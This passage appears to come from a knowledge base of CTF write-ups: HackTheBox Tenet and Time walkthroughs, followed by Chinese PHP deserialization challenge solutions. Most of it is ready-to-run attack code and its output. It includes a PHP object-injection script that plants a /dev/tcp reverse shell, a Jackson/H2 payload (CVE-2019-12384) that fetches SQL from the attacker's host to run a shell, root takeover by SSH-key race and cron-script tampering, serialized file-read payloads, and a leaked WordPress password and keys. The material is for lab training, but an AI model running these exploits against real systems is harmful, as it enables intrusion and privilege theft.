22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### WEBSITE

It’s just a Default page :/ nothing there, let’s add tenet.htb to our /etc/hosts file

Yep, there’s a vhost running there and its tenet.htb, Let’s enum there for sometime

I just scrolled down and got a Recent comments section, when I click that It takes me to the comments page

So note here a user commented, “did you remove the sator php file and the backup?”

also we got a username (neil) here take a note of it 🙂

I enumed for sometime and stucked here for sometime, they’re saying we migrating, so looks like there’s another vhost and It would be sator coz the user talking about it

So I added sator.tenet.htb to my /etc/hosts

It worked 🙂 but now I’m trying to find that php backup file, so I got 404 here. let me back when I find that file :/

``` bash
http://sator.tenet.htb/sator.php
```

Somehow I managed to find the file but I can’t able to read it :/

When I added .bak to the url, I can able to download it 😀

And here's that file👇

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tenet]
└─# cat sator.php.bak 
<?php

class DatabaseExport
{
        public $user_file = 'users.txt';
        public $data = '';

        public function update_db()
        {
                echo '[+] Grabbing users from text file <br>';
                $this-> data = 'Success';
        }


        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[] Database updated <br>';
        //      echo 'Gotta get this working properly...';
        }
}

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


?>
```

We need to perform php object Injection also called as deserialization

If you’re new to this topic then you must go through these things, then you can able to understand this exploit

 - FOR REFERENCE:

 - [Intro to PHP Deserialization](https://www.youtube.com/watch?v=HaW15aMzBUM&feature=youtu.be)

 - [Exploiting PHP deserialization](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a)


#### EXPLOITING PART

So here I made a file to get shell in just one command

 - getShell.php

``` bash
<?php
class DatabaseExport
{
        public $user_file = 'revshell.php';
                                               //Change YOUR IP AND PORT HERE vvvvvvvvv
        public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.2/5555 0>&1\'"); ?>';
        public function __destruct()
        {
                file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
                echo '[EXPLOITED] Check your netcat :D   [FOLLOW lUc1f3r11]';
        }
}
$url = 'http://10.10.10.223/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));
$response = file_get_contents("$url");
$response = file_get_contents("http://10.10.10.223/revshell.php");
?>
```

Just you need to change the IP and port in the 6th line and I marked it too,

Then start your netcat and run this file, php getShell.php

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tenet]
└─# php getshell.php 
[EXPLOITED] Check your netcat :D   [FOLLOW lUc1f3r11]
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tenet]
└─# nc -lvp 5555
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.223.
Ncat: Connection from 10.10.10.223:40482.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty; pty.spawn("/bin/bash")'
You also have python3 installed, you can run 'python3' instead.

python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@tenet:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@tenet:/var/www/html$ ls
ls
index.html    sator.php      shell.php  wordpress
revshell.php  sator.php.bak  users.txt
```

#### WWW-DATA to USER

Remember this is a wordpress site so we need to find credentials based on that,

So as I said we need to enum based on wordpress name, then I got creds for the user neil in /var/www/html/wordpress folder and filename “wp-config.php”

ssh into the box

``` bash
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * MySQL settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'neil' );

/** MySQL database password */
define( 'DB_PASSWORD', 'Opera2112' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'WP_HOME', 'http://tenet.htb');
define( 'WP_SITEURL', 'http://tenet.htb');

/**#@+
 * Authentication Unique Keys and Salts.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'QiuK;~(mBy7H3y8G;*|^*vGekSuuxKV$:Tc>5qKr`T}(t?+`r.+`gg,Ul,=!xy6d' );
define( 'SECURE_AUTH_KEY',  'x3q&hwYy]:S{l;jDU0D&./@]GbBz(P~}]y=3deqO1ZB/`P:GU<tJ[v)4><}wl_~N' );
define( 'LOGGED_IN_KEY',    'JrJ_u34gQ3(x7y_Db8`9%@jq<;{aqQk(Z+uZ|}M,l?6.~Fo/~Tr{0bJIW?@.*|Nu' );
define( 'NONCE_KEY',        '=z0ODLKO{9K;<,<gT[f!y_*1QgIc;#FoN}pvHNP`|hi/;cwK=vCwcC~nz&0:ajW#' );
define( 'AUTH_SALT',        '*.;XACYRMNvA?.r)f~}+A,eMke?/i^O6j$vhZA<E5Vp#N[a{YL TY^-Q[X++u@Ab' );
define( 'SECURE_AUTH_SALT', 'NtFPN?_NXFqW-Bm6Jv,v-KkjS^8Hz@BIcxc] F}(=v1$B@F/j(`b`7{A$T{DG|;h' );
define( 'LOGGED_IN_SALT',   'd14m0mBP eIawFxLs@+CrJz#d(88cx4||<6~_U3F=aCCiyN|]Hr{(mC5< R57zmn' );
define( 'NONCE_SALT',       'Srtt&}(~:K(R(q(FMK<}}%Zes!4%!S`V!KSk)Rlq{>Y?f&b`&NW[INM2,a9Zm,SH' );

/**#@-*/

/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/tenet]
└─# ssh neil@10.10.10.223
The authenticity of host '10.10.10.223 (10.10.10.223)' can't be established.
ECDSA key fingerprint is SHA256:WV3NcHaV7asDFwcTNcPZvBLb3MG6RbhW9hWBQqIDwlE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.223' (ECDSA) to the list of known hosts.
neil@10.10.10.223's password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jan 18 04:51:48 UTC 2021

  System load:  0.0                Processes:             176
  Usage of /:   15.4% of 22.51GB   Users logged in:       0
  Memory usage: 14%                IP address for ens160: 10.10.10.223
  Swap usage:   0%


0 packages can be updated.
0 of these updates are security updates.


Last login: Thu Dec 17 10:59:51 2020 from 10.10.14.3
neil@tenet:~$ id
uid=1001(neil) gid=1001(neil) groups=1001(neil)
neil@tenet:~$ whoami
neil
neil@tenet:~$ ls
user.txt
neil@tenet:~$ cat user.txt
b7ec0d7ccbebbfaf18eb70dc14bce4f7
```

and we got user.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb162.jpg)


#### USER to ROOT

when I tried sudo -l it showed me neil(user) can run the file “/usr/local/bin/enableSSH.sh”

``` bash
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
```

So that’s the thing we need to use to privesc, Here’s that file

``` bash
neil@tenet:~$ cat /usr/local/bin/enableSSH.sh
#!/bin/bash

checkAdded() {

        sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

        if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

                /bin/echo "Successfully added $sshName to authorized_keys file!"

        else

                /bin/echo "Error in adding $sshName to authorized_keys file!"

        fi

}

checkFile() {

        if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

                /bin/echo "Error in creating key file!"

                if [[ -f $1 ]]; then /bin/rm $1; fi

                exit 1

        fi

}

addKey() {

        tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

        (umask 110; touch $tmpName)

        /bin/echo $key >>$tmpName

        checkFile $tmpName

        /bin/cat $tmpName >>/root/.ssh/authorized_keys

        /bin/rm $tmpName

}

key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
```

So by running this we can add our .pub key to root’s authorized_keys 🙂

privesc was pretty simple 😀

So I created a simple script to add my pub key to “/root/.ssh/authorized_keys”

also I created a loop here to run it multiple times

 - root.sh

``` bash
while true
do
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" | tee /tmp/ssh-*
done
```

create this file on /home/neil directory

Listen here we need 3 terminals to root

 - To run our root.sh file
 - To run that enableSSH.sh file (make sure run it as sudo)
 - To log in as root

You need to do this multiple times, I tried it more than 25 times then I got root shell

``` bash
for i in {1..10000}
do
sudo enableSSH.sh 
done
```

many people trying this so don’t get angry try it more time sure you’ll get root shell 😀 or reset it and try again

``` bash
┌──(root💀kali)-[~]
└─# ssh -i /root/.ssh/id_rsa root@10.10.10.223                                                                                                        
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Jan 18 05:27:48 UTC 2021

  System load:  0.33               Processes:             209
  Usage of /:   15.1% of 22.51GB   Users logged in:       1
  Memory usage: 9%                 IP address for ens160: 10.10.10.223
  Swap usage:   0%


0 packages can be updated.
0 of these updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan 13 08:03:48 2021
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenet:~# whoami
root
root@tenet:~# ls
root.txt
root@tenet:~# cat root.txt
3673382097770d93aaf70d520ba508af
```

and we got root.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb163.jpg)

#### Summary of knowledge

 - use php deserialization getshell
 - add .pub key to root’s authorized_keys to privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end tenet -->

</details>

<a id="case-time"></a>

## Jackson 类型绑定与可写任务

JSON 校验错误暴露 Jackson 类型处理，原文保留数组与对象输入的差异、H2 相关链及两条任务文件提权方法。

<p class="kb-provenance">来源 time · 原记录 2020-11-07 · 15 个代码块 · 4 处图片引用</p>

<details class="kb-evidence" id="record-time">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start time -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	24 Oct 2020
IP:	10.10.10.214

User Blood Sp3eD 00 days, 00 hours, 08 mins, 51 seconds.
Root Blood Sp3eD 00 days, 00 hours, 17 mins, 49 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb113.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~/hackthebox/machine/time# nmap -sV -v -p- 10.10.10.214 --min-rate=10000
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### port 80

There is a simple JSON Beautifier and Validator.
Let's try something Simple means "test" in Beautifier.
It's said null.
Let's try in Validator and he also in beta testing.
It's give some error.

``` bash
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN
```

com.fasterxml.jackson.core looks interesting. google it and find something.

 - [Understanding insecure implementation of Jackson Deserialization](https://medium.com/@swapneildash/understanding-insecure-implementation-of-jackson-deserialization-7b3d409d2038)

After reading the article , try this command Let's see how's it's work.

``` bash
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.MismatchedInputException: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object
```

search it on google and check any solution for this error.

 - [com.fasterxml.jackson.databind.exc.MismatchedInputException](https://stackoverflow.com/questions/49822202/com-fasterxml-jackson-databind-exc-mismatchedinputexception-unexpected-token-s)

This stack overflow gave us the solution of our problem that we need to use '[]' instead of '{}'. Let's try this real quick.

``` bash
Validation failed: Unhandled Java exception: com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'test' as a subtype of [simple type, class java.lang.Object]: no such class found
```

We got the error but it is different one. It's say "Could not resolve type id 'test', no class found".

After a few google search i found the interesting

 - [CVE-2019-12384](https://github.com/jas502n/CVE-2019-12384)

#### exploit

1. step1

Create a file inject.sql Change the ip and port.

``` bash
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
	String[] command = {"bash", "-c", cmd};
	java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
	return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.2/3344 0>&1 &')
```

2. step2

Start python server and netcat Listener.

``` bash
root@kali:~/hackthebox/machine/time# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
```

3. step3

Go on the website select "Validate (beta!)" and input this:
Change the ip address also.

``` bash
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.2/inject.sql'"}]
```

And we got the shell and also get user flag.

``` bash
root@kali:~# nc -lvp 3344
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::3344
Ncat: Listening on 0.0.0.0:3344
Ncat: Connection from 10.10.10.214.
Ncat: Connection from 10.10.10.214:60198.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ id
id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
pericles@time:/var/www/html$ whoami
whoami
pericles
pericles@time:/var/www/html$ cd
cd
bash: cd: HOME not set
pericles@time:/var/www/html$ cd ~
cd ~
pericles@time:/home/pericles$ ls
ls
snap
user.txt
pericles@time:/home/pericles$ cat user.txt
cat user.txt
f1cd7712d0ea3d98f672c90c975aa156
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb114.jpg)

put the ssh public key and get the ssh connection.

``` bash
pericles@time:/home/pericles$ mkdir .ssh
mkdir .ssh
pericles@time:/home/pericles$ ls -la
ls -la
total 48
drwxr-xr-x 8 pericles pericles 4096 Nov  7 09:04 .
drwxr-xr-x 3 root     root     4096 Oct  2 13:45 ..
lrwxrwxrwx 1 root     root        9 Oct  1 15:05 .bash_history -> /dev/null
-rw-r--r-- 1 pericles pericles  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 pericles pericles 3771 Feb 25  2020 .bashrc
drwx------ 2 pericles pericles 4096 Sep 20 13:53 .cache
drwx------ 3 pericles pericles 4096 Oct 22 17:45 .config
drwx------ 2 pericles pericles 4096 Nov  6 19:31 .gnupg
lrwxrwxrwx 1 root     root        9 Oct  1 15:07 .lhistory -> /dev/null
drwxrwxr-x 3 pericles pericles 4096 Sep 29 12:52 .local
-rw-r--r-- 1 pericles pericles  807 Feb 25  2020 .profile
drwxr-xr-x 2 pericles pericles 4096 Nov  7 09:04 .ssh
drwxr-xr-x 3 pericles pericles 4096 Oct  2 13:20 snap
-r-------- 1 pericles pericles   33 Nov  6 13:19 user.txt
pericles@time:/home/pericles$ cd .ssh
cd .ssh
pericles@time:/home/pericles/.ssh$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > authorized_keys
<BVy2VaufcRbiBDD6cTS00= root@kali" > authorized_keys
pericles@time:/home/pericles/.ssh$ ls
ls
authorized_keys
```

now connect to ssh shell

``` bash
root@kali:~/hackthebox/machine/time# chmod 600 id_rsa 
root@kali:~/hackthebox/machine/time# ssh -i id_rsa pericles@10.10.10.214
The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established.
ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 07 Nov 2020 09:07:07 AM UTC

  System load:             0.75
  Usage of /:              23.7% of 29.40GB
  Memory usage:            33%
  Swap usage:              0%
  Processes:               249
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.214
  IPv6 address for ens160: dead:beef::250:56ff:feb9:da3d


83 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


Last login: Fri Oct 23 09:19:19 2020 from 10.10.14.5
pericles@time:~$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
pericles@time:~$ whoami
pericles
```

#### Privilege escalation

run the LinEnum

 - [privilege-escalation-awesome-scripts-suite](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)

Found interesting file in LinEnum result.

``` bash
/bin/bash /usr/bin/timer_backup.sh
```

check we have any rights to write the file or not.

``` bash
pericles@time:~$ ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Nov  7 09:15 /usr/bin/timer_backup.sh
```

We have Permission to write the file. Let's replace root SSH_PUB_KEY with our's ssh public key.

``` bash
pericles@time:~$ echo "echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali >> /root/.ssh/authorized_keys" >> /usr/bin/timer_backup.sh
pericles@time:~$ cat /usr/bin/timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali >> /root/.ssh/authorized_keys
```

now ssh in and we got root.

``` bash
root@kali:~/hackthebox/machine/time# ssh -i id_rsa root@10.10.10.214
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 07 Nov 2020 09:19:05 AM UTC

  System load:             0.0
  Usage of /:              23.8% of 29.40GB
  Memory usage:            33%
  Swap usage:              0%
  Processes:               250
  Users logged in:         0
  IPv4 address for ens160: 10.10.10.214
  IPv6 address for ens160: dead:beef::250:56ff:feb9:da3d


83 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Oct 22 17:03:52 2020
root@time:~# id
uid=0(root) gid=0(root) groups=0(root)
root@time:~# whoami
root
root@time:~# ls
backup.zip  root.txt  snap  timer_backup.sh
root@time:~# cat root.txt
4061f1369e60de8e0c1522bdd4421ecb
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb115.jpg)

#### Privilege escalation 2

``` bash
pericles@time:~$ echo "chmod +s /bin/bash" >> /usr/bin/timer_backup.sh
pericles@time:~$ /bin/bash -p
bash-5.0# id
uid=1000(pericles) gid=1000(pericles) euid=0(root) egid=0(root) groups=0(root),1000(pericles)
bash-5.0# whoami
root
bash-5.0# ls
snap  user.txt
bash-5.0# cd /root
bash-5.0# cat root.txt
4061f1369e60de8e0c1522bdd4421ecb
```

#### Summary of knowledge

 - Jackson Deserialization
 - CVE-2019-12384 exploit
 - file permission to excecute

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end time -->

</details>

<a id="case-unserialize"></a>

## PHP 魔术方法与对象状态

原题包含多套源代码、序列化对象和输入样例。四个变体分别保留，便于对照属性可见性、魔术方法和对象执行顺序。

<p class="kb-provenance">来源 unserialize · 原记录 2020-09-17 · 12 个代码块 · 0 处图片引用</p>

<details class="kb-evidence" id="record-unserialize">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start unserialize -->

#### serialize01

源码：

``` bash
<?php

class A{
    public $classname;
    function __toString(){
        echo file_get_contents($this->classname);
        return "";
    }
}

echo unserialize($_GET['a']);
highlight_file(__FILE__);

?>
```



writeup:

``` bash
A类中有魔幻函数，index.php中unserialize函数参数可控
构造payload： O:1:"A":1:{s:9:"classname";s:8:"flag.php";}，反序列化之后，有一个classname变量，内容为flag.php。当index.php执行echo操作时，会自动触发A类中的__tostring()函数，然后通过echo file_get_contents($this->file)输出flag.php里面的内容
```

payload and flag:

``` bash
http://8e023c5a6336fedd.synctf.com:8002/serialize/serialize01/index.php?a=O:1:"A":1:{s:9:"classname";s:8:"flag.php";}

<?php
$flag = "SYNCTF{SJshNZJ_Hasjcxzm}";
?>
```

#### serialize02

源码：

``` bash
<?php

class A{
    public $classname;
    function __wakeup(){
        echo file_get_contents($this->classname);
        return "";
    }
}

unserialize($_GET['a']);
highlight_file(__FILE__);

?>
```

writeup:

``` bash
flag在flag.php里面

A类中有魔幻函数，index.php中unserialize函数参数可控

构造payload： O:1:"A":1:{s:9:"classname";s:8:"flag.php";}，反序列化之后，有一个classname变量，内容为flag.php。当index.php执行echo操作时，会自动触发A类中的__wakeup()函数，然后通过echo file_get_contents($this->file)输出flag.php里面的内容
```

payload and flag:

``` bash
http://8e023c5a6336fedd.synctf.com:8002/serialize/serialize02/index.php?a=O:1:%22A%22:1:{s:9:%22classname%22;s:8:%22flag.php%22;}

<?php
$flag = "SYNCTF{QPlMXHams_smAHSAJ}";
?>
```

#### serialize03

源码：

``` bash
<?php

class A{
    public $classname;
    function __wakeup(){
        unserialize($this->classname);
        return '';
    }
}
class B{
    private $filename;
    function __wakeup(){
        echo file_get_contents($this->filename);
        return '';
    }
}

unserialize($_GET['a']);
highlight_file(__FILE__);

?>
```

writeup:

``` bash
反序列化利用代码:
echo serialize(new A);
echo serialize(new B);

说明:

flag在flag.php里面

因为private是类名B两边都有%00所以同样在url上面体现
```

payload and flag:

``` bash
payload: O:1:"A":1:{s:9:"classname";O:1:"B":1:{s:11:"%00B%00filename";s:8:"flag.php";};}

<?php
$flag = "SYNCTF{JSasjd_HJshhsh}";
?>
```

#### serialize05

源码：

``` bash
<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$a = $_GET['string'];
unserialize($a);
?>
```

